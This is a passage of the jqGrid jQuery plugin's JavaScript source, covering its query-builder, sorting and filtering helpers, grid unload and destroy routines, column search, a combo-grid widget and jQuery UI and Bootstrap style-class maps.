class='ui-jqgrid' style='left:10000px'><table class='ui-jqgrid-btable ui-common-table' style='width:5px;'><tr class='jqgrow'><td style='width:5px;display:block;'></td></tr></table></div>"), testCell = $testDiv.appendTo("body") .find("td") .width(); $testDiv.remove(); return Math.abs(testCell-5) > 0.1; }, isLocalStorage : function () { try { return 'localStorage' in window && window.localStorage !== null; } catch (e) { return false; } }, getRegional : function(inst, param, def_val) { var ret; if(def_val !== undefined) { return def_val; } if(inst.p && inst.p.regional && $.jgrid.regional) { ret = $.jgrid.getAccessor( $.jgrid.regional[inst.p.regional] || {}, param); } if(ret === undefined ) { ret = $.jgrid.getAccessor( $.jgrid, param); } return ret; }, isMobile : function() { try { if(/Android|webOS|iPhone|iPad|iPod|pocket|psp|kindle|avantgo|blazer|midori|Tablet|Palm|maemo|plucker|phone|BlackBerry|symbian|IEMobile|mobile|ZuneWP7|Windows Phone|Opera Mini/i.test(navigator.userAgent)) { return true; } return false; } catch(e) { return false; } }, cell_width : true, scrollbarWidth : function() { // http://jdsharp.us/jQuery/minute/calculate-scrollbar-width.php var div = $('<div style="width:50px;height:50px;overflow:hidden;position:absolute;top:-200px;left:-200px;"><div style="height:100px;"></div>'); $('body').append(div); var w1 = $('div', div).innerWidth(); div.css('overflow-y', 'scroll'); var w2 = $('div', div).innerWidth(); $(div).remove(); return (w1 - w2) < 0 ? 18 : (w1 - w2); }, scrollbarHeight : function() { var div = $('<div style="width:50px;overflow-x:scroll;position:absolute;top:-200px;left:-200px;"<span>1234567890</span></div>'); $('body').append(div); var w1 = $(div).outerHeight(); var w2 = $(div)[0].scrollHeight; $(div).remove(); return (w1 - w2) < 0 ? 18 : (w1 - w2); }, ajaxOptions: {}, from : function(source){ // Original Author Hugo Bonacci // License MIT http://jlinq.codeplex.com/license var $t = this, QueryObject=function(d,q){ if(typeof d==="string"){ d=$.data(d); } var self=this, _data=d, _usecase=true, _trim=false, _query=q, _stripNum = /[\$,%]/g, _lastCommand=null, _lastField=null, _orDepth=0, _negate=false, _queuedOperator="", _sorting=[], _useProperties=true; if(typeof d==="object"&&d.push) { if(d.length>0){ if(typeof d[0]!=="object"){ _useProperties=false; }else{ _useProperties=true; } } }else{ throw "data provides is not an array"; } this._hasData=function(){ return _data===null?false:_data.length===0?false:true; }; this._getStr=function(s){ var phrase=[]; if(_trim){ phrase.push("$.jgrid.trim("); } phrase.push("String("+s+")"); if(_trim){ phrase.push(")"); } if(!_usecase){ phrase.push(".toLowerCase()"); } return phrase.join(""); }; this._strComp=function(val){ if(typeof val==="string"){ return".toString()"; } return""; }; this._group=function(f,u){ return({field:f.toString(),unique:u,items:[]}); }; this._toStr=function(phrase){ if(_trim){ phrase=$.jgrid.trim(phrase); } phrase=phrase.toString().replace(/\\/g,'\\\\').replace(/\"/g,'\\"'); return _usecase ? phrase : phrase.toLowerCase(); }; this._funcLoop=function(func){ var results=[]; $.each(_data,function(i,v){ results.push(func(v)); }); return results; }; this._append=function(s){ var i; if(_query===null){ _query=""; } else { _query+=_queuedOperator === "" ? " && " :_queuedOperator; } for (i=0;i<_orDepth;i++){ _query+="("; } if(_negate){ _query+="!"; } _query+="("+s+")"; _negate=false; _queuedOperator=""; _orDepth=0; }; this._setCommand=function(f,c){ _lastCommand=f; _lastField=c; }; this._resetNegate=function(){ _negate=false; }; this._repeatCommand=function(f,v){ if(_lastCommand===null){ return self; } if(f!==null&&v!==null){ return _lastCommand(f,v); } if(_lastField===null){ return _lastCommand(f); } if(!_useProperties){ return _lastCommand(f); } return _lastCommand(_lastField,f); }; this._equals=function(a,b){ return(self._compare(a,b,1)===0); }; this._compare=function(a,b,d){ var toString = Object.prototype.toString; if( d === undefined) { d = 1; } if(a===undefined) { a = null; } if(b===undefined) { b = null; } if(a===null && b===null){ return 0; } if(a===null&&b!==null){ return 1; } if(a!==null&&b===null){ return -1; } if( (toString.call(a) === '[object Date]' && toString.call(b) === '[object Date]') || (typeof a === "number" && typeof b === "number") ) { return a > b ? d : a < b ? -d : 0; } var ret = String(a).localeCompare(String(b)); return ret < 0 ? -d : ret > 0 ? d : 0; }; this._performSort=function(){ if(_sorting.length===0){return;} _data=self._doSort(_data,0); }; this._doSort=function(d,q){ var by=_sorting[q].by, dir=_sorting[q].dir, type = _sorting[q].type, dfmt = _sorting[q].datefmt, sfunc = _sorting[q].sfunc; if(q===_sorting.length-1){ return self._getOrder(d, by, dir, type, dfmt, sfunc); } q++; var values=self._getGroup(d,by,dir,type,dfmt), results=[], i, j, sorted; for(i=0;i<values.length;i++){ sorted=self._doSort(values[i].items,q); for(j=0;j<sorted.length;j++){ results.push(sorted[j]); } } return results; }; this._getOrder=function(data,by,dir,type, dfmt, sfunc){ var sortData=[],_sortData=[], newDir = dir==="a" ? 1 : -1, i,ab,j, findSortKey; if(type === undefined ) { type = "text"; } if (type === 'float' || type=== 'number' || type=== 'currency' || type=== 'numeric') { findSortKey = function($cell) { var key = parseFloat( String($cell).replace(_stripNum, '')); return isNaN(key) ? Number.NEGATIVE_INFINITY : key; }; } else if (type==='int' || type==='integer') { findSortKey = function($cell) { return $cell ? parseFloat(String($cell).replace(_stripNum, '')) : Number.NEGATIVE_INFINITY; }; } else if(type === 'date' || type === 'datetime') { findSortKey = function($cell) { return $.jgrid.parseDate.call($t, dfmt, $cell).getTime(); }; } else if($.jgrid.isFunction(type)) { findSortKey = type; } else { findSortKey = function($cell) { $cell = $cell ? $.jgrid.trim(String($cell)) : ""; return _usecase ? $cell : $cell.toLowerCase(); }; } $.each(data,function(i,v){ ab = by!=="" ? $.jgrid.getAccessor(v,by) : v; if(ab === undefined) { ab = ""; } ab = findSortKey(ab, v); _sortData.push({ 'vSort': ab,'index':i}); }); if($.jgrid.isFunction(sfunc)) { _sortData.sort(function(a,b){ return sfunc.call(this,a.vSort, b.vSort, newDir, a, b); }); } else { _sortData.sort(function(a,b){ return self._compare(a.vSort, b.vSort,newDir); }); } j=0; var nrec= data.length; // overhead, but we do not change the original data. while(j<nrec) { i = _sortData[j].index; sortData.push(data[i]); j++; } return sortData; }; this._getGroup=function(data,by,dir,type, dfmt){ var results=[], group=null, last=null, val; $.each(self._getOrder(data,by,dir,type, dfmt),function(i,v){ val = $.jgrid.getAccessor(v, by); if($.jgrid.isNull(val)) { val = ""; } if(!self._equals(last,val)){ last=val; if(group !== null){ results.push(group); } group=self._group(by,val); } group.items.push(v); }); if(group !== null){ results.push(group); } return results; }; this.ignoreCase=function(){ _usecase=false; return self; }; this.useCase=function(){ _usecase=true; return self; }; this.trim=function(){ _trim=true; return self; }; this.noTrim=function(){ _trim=false; return self; }; this.execute=function(){ var match=_query, results=[]; if(match === null){ return self; } $.each(_data,function(){ if($.jgrid.runCode.call($t, match.replace(/this/g, JSON.stringify(this)) ) ){ //eval(match) results.push(this); } }); _data=results; return self; }; this.data=function(){ return _data; }; this.select=function(f){ self._performSort(); if(!self._hasData()){ return[]; } self.execute(); if($.jgrid.isFunction(f)){ var results=[]; $.each(_data,function(i,v){ results.push(f(v)); }); return results; } return _data; }; this.hasMatch=function(){ if(!self._hasData()) { return false; } self.execute(); return _data.length>0; }; this.andNot=function(f,v,x){ _negate=!_negate; return self.and(f,v,x); }; this.orNot=function(f,v,x){ _negate=!_negate; return self.or(f,v,x); }; this.not=function(f,v,x){ return self.andNot(f,v,x); }; this.and=function(f,v,x){ _queuedOperator=" && "; if(f===undefined){ return self; } return self._repeatCommand(f,v,x); }; this.or=function(f,v,x){ _queuedOperator=" || "; if(f===undefined) { return self; } return self._repeatCommand(f,v,x); }; this.orBegin=function(){ _orDepth++; return self; }; this.orEnd=function(){ if (_query !== null){ _query+=")"; } return self; }; this.isNot=function(f){ _negate=!_negate; return self.is(f); }; this.is=function(f){ self._append('this.'+f); self._resetNegate(); return self; }; this._compareValues=function(func,f,v,how,t){ var fld; if(_useProperties){ fld='jQuery.jgrid.getAccessor(this,\''+f+'\')'; }else{ fld='this'; } if(v===undefined) { v = null; } //var val=v===null?f:v, var val =v, swst = t.stype === undefined ? "text" : t.stype; if(v !== null) { switch(swst) { case 'int': case 'integer': val = (isNaN(Number(val)) || val==="") ? Number.NEGATIVE_INFINITY : val; // To be fixed with more inteligent code fld = 'parseInt('+fld+',10)'; val = 'parseInt('+val+',10)'; break; case 'float': case 'number': case 'numeric': val = String(val).replace(_stripNum, ''); val = (isNaN(Number(val)) || val==="") ? Number.NEGATIVE_INFINITY : Number(val); // To be fixed with more inteligent code fld = 'parseFloat('+fld+')'; val = 'parseFloat('+val+')'; break; case 'date': case 'datetime': val = String($.jgrid.parseDate.call($t, t.srcfmt || 'Y-m-d',val).getTime()); fld = 'jQuery.jgrid.parseDate.call(jQuery("#'+$.jgrid.jqID($t.p.id)+'")[0],"'+t.srcfmt+'",'+fld+').getTime()'; break; default : fld=self._getStr(fld); val=self._getStr('"'+self._toStr(val)+'"'); } } self._append(fld+' '+how+' '+val); self._setCommand(func,f); self._resetNegate(); return self; }; this.equals=function(f,v,t){ return self._compareValues(self.equals,f,v,"==",t); }; this.notEquals=function(f,v,t){ return self._compareValues(self.equals,f,v,"!==",t); }; this.isNull = function(f,v,t){ return self._compareValues(self.equals,f,null,"===",t); }; this.greater=function(f,v,t){ return self._compareValues(self.greater,f,v,">",t); }; this.less=function(f,v,t){ return self._compareValues(self.less,f,v,"<",t); }; this.greaterOrEquals=function(f,v,t){ return self._compareValues(self.greaterOrEquals,f,v,">=",t); }; this.lessOrEquals=function(f,v,t){ return self._compareValues(self.lessOrEquals,f,v,"<=",t); }; this.startsWith=function(f,v){ //var val = $.jgrid.isNull(v) ? f: v, //length=_trim ? $.jgrid.trim(val.toString()).length : val.toString().length; if(_useProperties){ //self._append(self._getStr('jQuery.jgrid.getAccessor(this,\''+f+'\')')+'.slice(0,'+length+') == '+self._getStr('"'+self._toStr(v)+'"')); self._append(self._getStr('jQuery.jgrid.getAccessor(this,\''+f+'\')')+'.startsWith('+self._getStr('"'+self._toStr(v)+'"')+')'); }else{ //if ( !$.jgrid.isNull(v) ) { length=_trim?$.jgrid.trim(v.toString()).length:v.toString().length; } self._append(self._getStr('this')+'.startsWith(' +self._getStr('"'+self._toStr(f)+'"')+')'); } self._setCommand(self.startsWith,f); self._resetNegate(); return self; }; this.endsWith=function(f,v){ //var val = $.jgrid.isNull(v) ? f: v, //length=_trim ? $.jgrid.trim(val.toString()).length:val.toString().length; if(_useProperties){ //self._append(self._getStr('jQuery.jgrid.getAccessor(this,\''+f+'\')')+'.substr('+self._getStr('jQuery.jgrid.getAccessor(this,\''+f+'\')')+'.length-'+length+','+length+') == "'+self._toStr(v)+'"'); self._append(self._getStr('jQuery.jgrid.getAccessor(this,\''+f+'\')')+'.endsWith('+self._getStr('"'+self._toStr(v)+'"')+')'); } else { //self._append(self._getStr('this')+'.substr('+self._getStr('this')+'.length-"'+self._toStr(f)+'".length,"'+self._toStr(f)+'".length) == "'+self._toStr(f)+'"'); self._append(self._getStr('this')+'.endsWith(' +self._getStr('"'+self._toStr(f)+'"')+')'); } self._setCommand(self.endsWith,f); self._resetNegate(); return self; }; this.contains=function(f,v){ if(_useProperties){ self._append(self._getStr('jQuery.jgrid.getAccessor(this,\''+f+'\')')+'.indexOf("'+self._toStr(v)+'",0) > -1'); }else{ self._append(self._getStr('this')+'.indexOf("'+self._toStr(f)+'",0) > -1'); } self._setCommand(self.contains,f); self._resetNegate(); return self; }; this.user=function(op, f, v){ var _a = '$("#'+$t.p.id+'")[0]'; self._append(_a + '.p.customFilterDef.' + op + '.action.call('+_a+' ,{rowItem: this, searchName:"' + f + '",searchValue:"' + v + '"})'); self._setCommand(self.user,f); self._resetNegate(); return self; }; this.inData = function (f, v, t) { var vl = v === undefined ? "" : self._getStr("\"" + self._toStr(v) + "\""); if( _useProperties ) { self._append(vl + '.split(\''+',' + '\')' + '.indexOf( jQuery.jgrid.getAccessor(this,\''+f+'\') ) > -1'); } else { self._append(vl + '.split(\''+',' + '\')' + '.indexOf(this.'+f+') > -1'); } self._setCommand(self.inData, f); self._resetNegate(); return self; }; this.groupBy=function(by,dir,type, datefmt){ if(!self._hasData()){ return null; } return self._getGroup(_data,by,dir,type, datefmt); }; this.orderBy=function(by,dir,stype, dfmt, sfunc){ dir = $.jgrid.isNull(dir) ? "a" :$.jgrid.trim(dir.toString().toLowerCase()); if( $.jgrid.isNull(stype) ) { stype = "text"; } if( $.jgrid.isNull(dfmt) ) { dfmt = "Y-m-d"; } if( $.jgrid.isNull(sfunc) ) { sfunc = false; } if(dir==="desc"||dir==="descending"){dir="d";} if(dir==="asc"||dir==="ascending"){dir="a";} _sorting.push({by:by,dir:dir,type:stype, datefmt: dfmt, sfunc: sfunc}); return self; }; return self; }; return new QueryObject(source,null); }, getMethod: function (name) { return this.getAccessor($.fn.jqGrid, name); }, extend : function(methods) { $.extend($.fn.jqGrid,methods); if (!this.no_legacy_api) { $.fn.extend(methods); } }, clearBeforeUnload : function( jqGridId ) { var $t = $("#"+$.jgrid.jqID( jqGridId ))[0], grid; if(!$t.grid) { return;} grid = $t.grid; if ($.jgrid.isFunction(grid.emptyRows)) { grid.emptyRows.call($t, true, true); // this work quick enough and reduce the size of memory leaks if we have someone } $(document).off("mouseup.jqGrid" + $t.p.id ); $(grid.hDiv).off("mousemove"); // TODO add namespace $($t).off(); var i, l = grid.headers.length, removevents = ['formatCol','sortData','updatepager','refreshIndex','setHeadCheckBox','constructTr','formatter','addXmlData','addJSONData','grid','p', 'addLocalData']; for (i = 0; i < l; i++) { grid.headers[i].el = null; } for( i in grid) { if( grid.hasOwnProperty(i)) { grid[i] = null; } } // experimental for( i in $t.p) { if($t.p.hasOwnProperty(i)) { $t.p[i] = Array.isArray($t.p[i]) ? [] : null; } } l = removevents.length; for(i = 0; i < l; i++) { if($t.hasOwnProperty(removevents[i])) { $t[removevents[i]] = null; delete($t[removevents[i]]); } } }, gridUnload : function ( jqGridId ) { if(!jqGridId) { return; } jqGridId = $.jgrid.trim(jqGridId); if(jqGridId.indexOf("#") === 0) { jqGridId = jqGridId.substring(1); } var $t = $("#"+ $.jgrid.jqID(jqGridId))[0]; if ( !$t.grid ) {return;} var defgrid = {id: $($t).attr('id'),cl: $($t).attr('class')}; if ($t.p.pager) { $($t.p.pager).off().empty().removeClass("ui-state-default ui-jqgrid-pager ui-corner-bottom"); } var newtable = document.createElement('table'); newtable.className = defgrid.cl; var gid = $.jgrid.jqID($t.id); $(newtable).removeClass("ui-jqgrid-btable ui-common-table").insertBefore("#gbox_"+gid); if( $($t.p.pager).parents("#gbox_"+gid).length === 1 ) { $($t.p.pager).insertBefore("#gbox_"+gid); } $.jgrid.clearBeforeUnload( jqGridId ); $("#gbox_"+gid).remove(); $(newtable).attr({id:defgrid.id}); $("#alertmod_"+$.jgrid.jqID(jqGridId)).remove(); }, gridDestroy : function ( jqGridId ) { if(!jqGridId) { return; } jqGridId = $.jgrid.trim(jqGridId); if(jqGridId.indexOf("#") === 0) { jqGridId = jqGridId.substring(1); } var $t = $("#"+ $.jgrid.jqID(jqGridId))[0]; if ( !$t || !$t.grid ) {return;} if ( $t.p.pager ) { // if not part of grid $($t.p.pager).remove(); } try { $.jgrid.clearBeforeUnload( jqGridId ); $("#gbox_"+$.jgrid.jqID(jqGridId)).remove(); } catch (_) {} }, isElementInViewport : function(el) { var rect = el.getBoundingClientRect(); return ( rect.left >= 0 && rect.right <= (window.innerWidth || document.documentElement.clientWidth) ); }, getTextWidth : function(text, font) { if (!jQuery._cacheCanvas) { var canvas = document.createElement('canvas'); var docFragment = document.createDocumentFragment(); docFragment.appendChild(canvas); jQuery._cacheCanvas = canvas.getContext("2d"); } if(font) { jQuery._cacheCanvas.font = font; } return jQuery._cacheCanvas.measureText( $.jgrid.stripHtml( text ) ).width; }, getFont : function (instance) { var getfont = window.getComputedStyle( instance, null ); return getfont.getPropertyValue( 'font-style' ) + " " + getfont.getPropertyValue( 'font-variant' ) + " " + getfont.getPropertyValue( 'font-weight' ) + " " + getfont.getPropertyValue( 'font-size' ) + " " + getfont.getPropertyValue( 'font-family'); }, setSelNavIndex : function ($t, selelem ) { var cels = $(".ui-pg-button",$t.p.pager); $.each(cels, function(i,n) { if(selelem===n) { $t.p.navIndex = i; return false; } }); $(selelem).attr("tabindex","0"); }, splitSearch : function (p) { /* p : { mergeOper : 'OR', filterInput : null, filterToolbar : null, searchGrid : null } */ var rules = "{\"groupOp\":\"" + p.mergeOper + "\",\"groups\":[", i=0; //],\"groups\":[ for( var property in p) { if(p.hasOwnProperty(property)) { if(property !== 'mergeOper') { rules += (p[property] !== null && p[property] !== "" && typeof p[property] !=='boolean' ) ? p[property] + ",": ""; i++; } } } if( rules.indexOf("[", rules.length - "[".length) === -1 ) { rules = rules.slice(0, -1); } rules += "]}"; return rules; }, getElemByAttrVal : function( elem, attr, value, position) { if( typeof position !== 'boolean' ) { position = false; } var len = Array.isArray(elem) ? elem.length : 0, i=0, ret = {}, pos = -1; if( len > 0 ) { while( i < len) { if( elem[i][attr] === value) { ret = elem[i]; pos = i; break; } i++; } } return position ? pos : ret; }, searchColOnEnter : function(gridid, rid, t, e ) { var tb = $("#"+gridid)[0], i; if(!tb.grid) { return; } var opt = tb.p.searchColOptions, res, val, frozen= false; try { val = t.value; } catch (e1){ val = ""; } if(tb.p.frozenColumns) { $(tb.grid.bDiv).find(".jqgrid-searchcol >input#jqs_"+tb.p.id+"_"+rid).focus().val(val); frozen = true; } if(!tb.p._ftsc) { // store originally hidden columns tb.p._ftsc = true; tb.p._fthc = []; tb.p._avc =[]; for(i=0; i<tb.p.colModel.length; i++) { if(tb.p.colModel[i].hidden) { tb.p._fthc.push(tb.p.colModel[i].name); } else { tb.p._avc.push(tb.p.colModel[i].name); } } tb.p._results = {}; }// else { //} var _cnth = [...new Set([...opt._cnth ,...opt.visibleColumns])], // exclude search here _cnthSet = new Set([..._cnth,...tb.p._fthc]); // add hidden columns //$(tb).jqGrid('hideCol',tb.p._avc.filter(x=>!_cnth.includes(x))); $(tb).jqGrid('hideCol',tb.p._avc.filter(function(x) { return !_cnth.includes(x); })); //====================================================================== function get_result (id) { var datarow = $(tb).jqGrid('getRowData', id), vall; var _cts =[]; if(datarow && val) { for(var key in datarow) { if(!_cnthSet.has(key)) { if(datarow.hasOwnProperty(key)) { vall = val; if(!opt.useCase) { datarow[key] = datarow[key].toLowerCase(); vall = val.toLowerCase(); } if(opt.aOperands.includes(opt.operand)) { switch( opt.operand) { case 'cn': // contain res = datarow[key].search(vall) !== -1; // find the column containing the search str break; case 'eq': // equal res = datarow[key] === vall; break; case 'ne': // not equal res = datarow[key] !== vall; break; case 'bw': // startWith res = datarow[key].substring(0, vall.length) === vall; break; case 'ew': // endWith var this_len = datarow[key].length; res = datarow[key].substring(this_len - vall.length, this_len) === vall; break; } } if(res) { _cts.push(key); } } } } tb.p._results[id] = {v:val, r:_cts}; } else if(datarow && val==="") { if(tb.p._results[id]) { delete tb.p._results[id]; } } } //====================================================================== if(tb.grid && (rid === null || rid === undefined) ) { // reload for(var key in tb.p._results) { if(tb.p._results.hasOwnProperty(key)) { val = tb.p._results[key].v; get_result (key); } } } else if(tb.grid && (rid !== null || rid !== undefined)) { get_result (rid); } var to_show = [], count = 0; for(i in tb.p._results) { if(opt.searchOp.toUpperCase() === "OR") { to_show = [...new Set([...to_show, ...tb.p._results[i].r])]; // use union to meet OR } else if(opt.searchOp.toUpperCase() === "AND") { if(count===0) { to_show = tb.p._results[i].r; } else { //to_show = to_show.filter(x => tb.p._results[i].r.includes(x)); // use intersection to_show = to_show.filter( function(x) { return tb.p._results[i].r.includes(x); }); // use intersection } count++; } } if($.isEmptyObject(tb.p._results)) { // if nosearch show all to_show = tb.p._avc; } var swap = to_show.concat(_cnth); $(tb).jqGrid('showCol',swap); if(tb.p.frozenColumns) { //setTimeout(function(){ $(tb.grid.fbDiv).find(".jqgrid-searchcol >input#jqs_"+tb.p.id+"_"+rid).val("").focus().val(val); //}, 60); } if(tb.p.frozenRows) { if(frozen) { // for future processing tb.p.frozenColumns = false; } $(tb).trigger('jqGridAfterGridComplete.setFrozenRows'); if(frozen) { // for future processing tb.p.frozenColumns = true; } } /// let intersection = arrA.filter(x => arrB.includes(x)); /// let difference = arrA.filter(x => !arrB.includes(x)); /// let difference = arrA //.filter(x => !arrB.includes(x)) //.concat(arrB.filter(x => !arrA.includes(x))); /// let union = [...new Set([...arrA, ...arrB])]; }, searchColOnKey : function(gridid, rid, t, e ) { switch(e.key) { case 'ArrowRight': case 'ArrowDown': case 'ArrowUp': case 'ArrowLeft': case 'PageUp': case 'PageDown': case 'Alt': case 'Control': case 'Tab': case 'Escape': case 'Shift': return; default : } setTimeout(function() { $.jgrid.searchColOnEnter(gridid, rid, t,e); }, 50); }, comboGrid : function ( elemId, opt, gridopt ) { /* opt = { data : "", // string, array or function return_fld : "", //string or function deaultSearch : "bw" }; */ var gridId = $.jgrid.randId("combo"); var divId = "div"+gridId; var save_datatype = gridopt.datatype; gridopt.datatype = 'local'; gridopt.onSelectRow = function(id) { var srow = $("#"+gridId).jqGrid('getRowData',id); if(!$.isEmptyObject(srow)) { var ret = $.jgrid.isFunction( opt.return_fld ) ? opt.return_fld.call(this, srow) : srow[opt.return_fld]; $("#"+elemId).val( ret ); $("#"+divId).hide(); } }; gridopt.data = []; gridopt.scrollrows = true; $('body').append("<div id='"+divId+"'><table id='"+gridId+"'></table>"); if(gridopt.pager) { $('body').append("<div id='"+gridopt.pager+"'></div>"); } $('body').append("</div>"); $("#"+gridId).jqGrid( gridopt ); $("#"+gridId).jqGrid('bindKeys', {onSelectRow : false}); $("#"+elemId).attr("autocomplete","off").data("comboGrid", {grid:gridId, divgrid: divId}); var coord = document.getElementById(elemId).getBoundingClientRect(); $("#"+divId).css({"background-color": "inherit", position:"absolute", top:(coord.top+50)+"px", left: (coord.left+10)+"px", zIndex: 20000}).hide(); $("#"+elemId).on("keydown", function(e){ var gID = $(this).data("comboGrid").grid, dID=$(this).data("comboGrid").divgrid, self = this; //e.preventDefault(); if($("#"+dID).is(":hidden")) { coord = document.getElementById(elemId).getBoundingClientRect(); //var coord = $("#"+elemId).position(); $("#"+dID).show().css({top:(coord.top+50)+"px", left: (coord.left+10)+"px"}); } var timer; if($.inArray(e.key, ['Enter', 'Escape', 'ArrowUp', 'ArrowDown', 'ArrowLeft', 'ArrowRight']) > -1) { var eee = $.Event('keydown'), $t = this; switch (e.key) { case 'Enter' : // select the row var srow = $("#"+gID).jqGrid('getRowData',$("#"+gID)[0].p.selrow); if(!$.isEmptyObject(srow)) { $t.value = srow[opt.return_fld]; $("#"+dID).hide(); } break; case 'Escape' : $("#"+dID).hide(); break; case 'ArrowUp' : eee.keyCode = 38; $("#"+gID).trigger(eee); break; case 'ArrowDown' : //console.log(eee); eee.keyCode = 40; $("#"+gID).trigger(eee); break; } } else { if(timer) { clearTimeout(timer); } timer = setTimeout(function(){ $("#"+gID).jqGrid('filterInput', self.value, {defaultSearch: opt.defaultSearch || 'bw', selectFirstFound : true}); }, 100); } }); if(opt.data) { if(typeof opt.data === 'string') { $("#"+gridId).jqGrid('setGridParam', {url : opt.data}); } else if (Array.isArray(opt.data) ) { $("#"+gridId).jqGrid('setGridParam', {data : opt.data}); } } $("#"+gridId).jqGrid('setGridParam', { datatype : save_datatype }); }, inColumnHeader : function (text, columnHeaders) { var length = columnHeaders.length, i; for (i = 0; i < length; i++) { if (columnHeaders[i].startColumnName === text) { return i; } } return -1; }, isServiceCol : function( name ) { return ['cb', 'rn','subgrid', 'sc'].includes( name ); }, normalizeDbData : function( input, colModel ) { if(!Array.isArray(input)) { input = [input]; } for(let key = 0; key < input.length; key++) { for(let i = 0; i < colModel.length; i++) { let cm = colModel[i]; if(!$.jgrid.isServiceCol( cm.name ) && input[key].hasOwnProperty(cm.name)) { let type = cm.sorttype || cm.stype || cm.formatter || 'text'; switch(type) { case 'int': case 'integer': input[key][cm.name] = parseInt(input[key][cm.name],10); break; case 'float': case 'number': case 'numeric': case 'currency': input[key][cm.name] = parseFloat(input[key][cm.name]); break; case 'date': // future development case 'datetime': cm.formatoptions.reformatAfterEdit = true; input[key][cm.name] = $.jgrid.parseDate.call(this, cm.formatoptions.newformat, input[key][cm.name], cm.formatoptions.srcformat || 'Y-m-d'); break; } } } } return input; }, isVisible : function(e) { return !!( e.offsetWidth || e.offsetHeight || e.getClientRects().length ); }, styleUI : { jQueryUI : { common : { disabled: "ui-state-disabled", highlight : "ui-state-highlight", hover : "ui-state-hover", cornerall: "ui-corner-all", cornertop: "ui-corner-top", cornerbottom : "ui-corner-bottom", hidden : "ui-helper-hidden", icon_base : "ui-icon", overlay : "ui-widget-overlay", active : "ui-state-active", error : "ui-state-error", button : "ui-state-default ui-corner-all", content : "ui-widget-content", shadow : "" }, base : { entrieBox : "ui-widget ui-widget-content ui-corner-all", // entrie div incl everthing viewBox : "", // view diw headerTable : "", headerBox : "ui-state-default", rowTable : "", rowBox : "ui-widget-content", stripedTable : "ui-jqgrid-table-striped", footerTable : "", footerBox : "ui-widget-content", headerRowTable : "", headerRowBox : "ui-widget-content", headerDiv : "ui-state-default", gridtitleBox : "ui-widget-header ui-corner-top ui-helper-clearfix", customtoolbarBox : "ui-state-default", //overlayBox: "ui-widget-overlay", loadingBox : "ui-state-default ui-state-active", rownumBox : "ui-state-default", scrollBox : "ui-widget-content", multiBox : "", searchBox : "ui-widget-content ui-corner-all", searchSelect : "ui-widget-content ui-corner-all", pagerBox : "ui-state-default ui-corner-bottom", pagerTable : "", toppagerBox : "ui-state-default", pgInput : "ui-corner-all", pgSelectBox : "ui-widget-content ui-corner-all", pgButtonBox : "ui-corner-all", icon_first : "ui-icon-seek-first", icon_prev : "ui-icon-seek-prev", icon_next: "ui-icon-seek-next", icon_end: "ui-icon-seek-end", icon_asc : "ui-icon-triangle-1-n", icon_desc : "ui-icon-triangle-1-s", icon_caption_open : "ui-icon-circle-triangle-n", icon_caption_close : "ui-icon-circle-triangle-s" }, modal : { modal : "ui-widget ui-widget-content ui-corner-all ui-dialog", header : "ui-widget-header ui-corner-all ui-helper-clearfix", content :"ui-widget-content", body : "ui-widget-content", footer : "ui-widget-content", resizable : "ui-resizable-handle ui-resizable-se", icon_close : "ui-icon-closethick", icon_resizable : "ui-icon-gripsmall-diagonal-se" }, celledit : { inputClass : "ui-widget-content ui-corner-all", selectClass: "ui-widget-content ui-corner-all" }, inlinedit : { inputClass : "ui-widget-content ui-corner-all", selectClass: "ui-widget-content ui-corner-all", icon_edit_nav : "ui-icon-pencil", icon_add_nav : "ui-icon-plus", icon_save_nav : "ui-icon-disk", icon_cancel_nav : "ui-icon-cancel" }, formedit : { labelClass : "", inputClass : "ui-widget-content ui-corner-all", selectClass: "ui-widget-content ui-corner-all", icon_prev : "ui-icon-triangle-1-w", icon_next : "ui-icon-triangle-1-e", icon_save : "ui-icon-disk", icon_close : "ui-icon-close", icon_del : "ui-icon-scissors", icon_cancel : "ui-icon-cancel" }, navigator : { icon_edit_nav : "ui-icon-pencil", icon_add_nav : "ui-icon-plus", icon_del_nav : "ui-icon-trash", icon_search_nav : "ui-icon-search", icon_refresh_nav : "ui-icon-refresh", icon_view_nav : "ui-icon-document", icon_newbutton_nav : "ui-icon-newwin" }, grouping : { icon_plus : 'ui-icon-circlesmall-plus', icon_minus : 'ui-icon-circlesmall-minus' }, filter : { table_widget : 'ui-widget ui-widget-content', srSelect : 'ui-widget-content ui-corner-all', srInput : 'ui-widget-content ui-corner-all', menu_widget : 'ui-widget ui-widget-content ui-corner-all', icon_search : 'ui-icon-search', icon_reset : 'ui-icon-arrowreturnthick-1-w', icon_query :'ui-icon-comment' }, subgrid : { icon_plus : 'ui-icon-plus', icon_minus : 'ui-icon-minus', icon_open : 'ui-icon-carat-1-sw' }, treegrid : { icon_plus : 'ui-icon-triangle-1-', icon_minus : 'ui-icon-triangle-1-s', icon_leaf : 'ui-icon-radio-off' }, fmatter : { icon_edit : "ui-icon-pencil", icon_add : "ui-icon-plus", icon_save : "ui-icon-disk", icon_cancel : "ui-icon-cancel", icon_del : "ui-icon-trash" }, colmenu : { menu_widget : 'ui-widget ui-widget-content ui-corner-all', input_checkbox : "ui-widget ui-widget-content", filter_select: "ui-widget-content ui-corner-all", filter_input : "ui-widget-content ui-corner-all", icon_menu : "ui-icon-comment", icon_search_menu : "ui-icon-grip-dotted-vertical", icon_sort_asc : "ui-icon-arrow-1-n", icon_sort_desc : "ui-icon-arrow-1-s", icon_columns : "ui-icon-extlink", icon_filter : "ui-icon-calculator", icon_group : "ui-icon-grip-solid-horizontal", icon_freeze : "ui-icon-grip-solid-vertical", icon_move: "ui-icon-arrow-4", icon_new_item : "ui-icon-newwin", icon_toolbar_menu : "ui-icon-document", icon_group_op :"ui-icon-bullet", icon_oper_op : "ui-icon-transfer-e-w", icon_reset : "ui-icon-arrowreturnthick-1-w", icon_close : "ui-icon-close" } }, Bootstrap : { common : { disabled: "ui-disabled", highlight : "success", hover : "active", cornerall: "", cornertop: "", cornerbottom : "", hidden : "", icon_base : "glyphicon", overlay: "ui-overlay", active : "active", error : "bg-danger", button : "btn btn-default", content : "", shadow : "" }, base : { entrieBox : "", viewBox : "table-responsive", headerTable : "table table-bordered", headerBox : "", rowTable : "table table-bordered", rowBox : "", stripedTable : "table-striped", footerTable : "table table-bordered", footerBox : "", headerRowTable : "table table-bordered", headerRowBox : "", headerDiv : "", gridtitleBox : "", customtoolbarBox : "", //overlayBox: "ui-overlay", loadingBox : "row", rownumBox : "active", scrollBox : "", multiBox : "checkbox", pagerBox : "", pagerTable : "table", toppagerBox : "", pgInput : "form-control", pgSelectBox : "form-control", pgButtonBox : "", icon_first : "glyphicon-step-backward", icon_prev 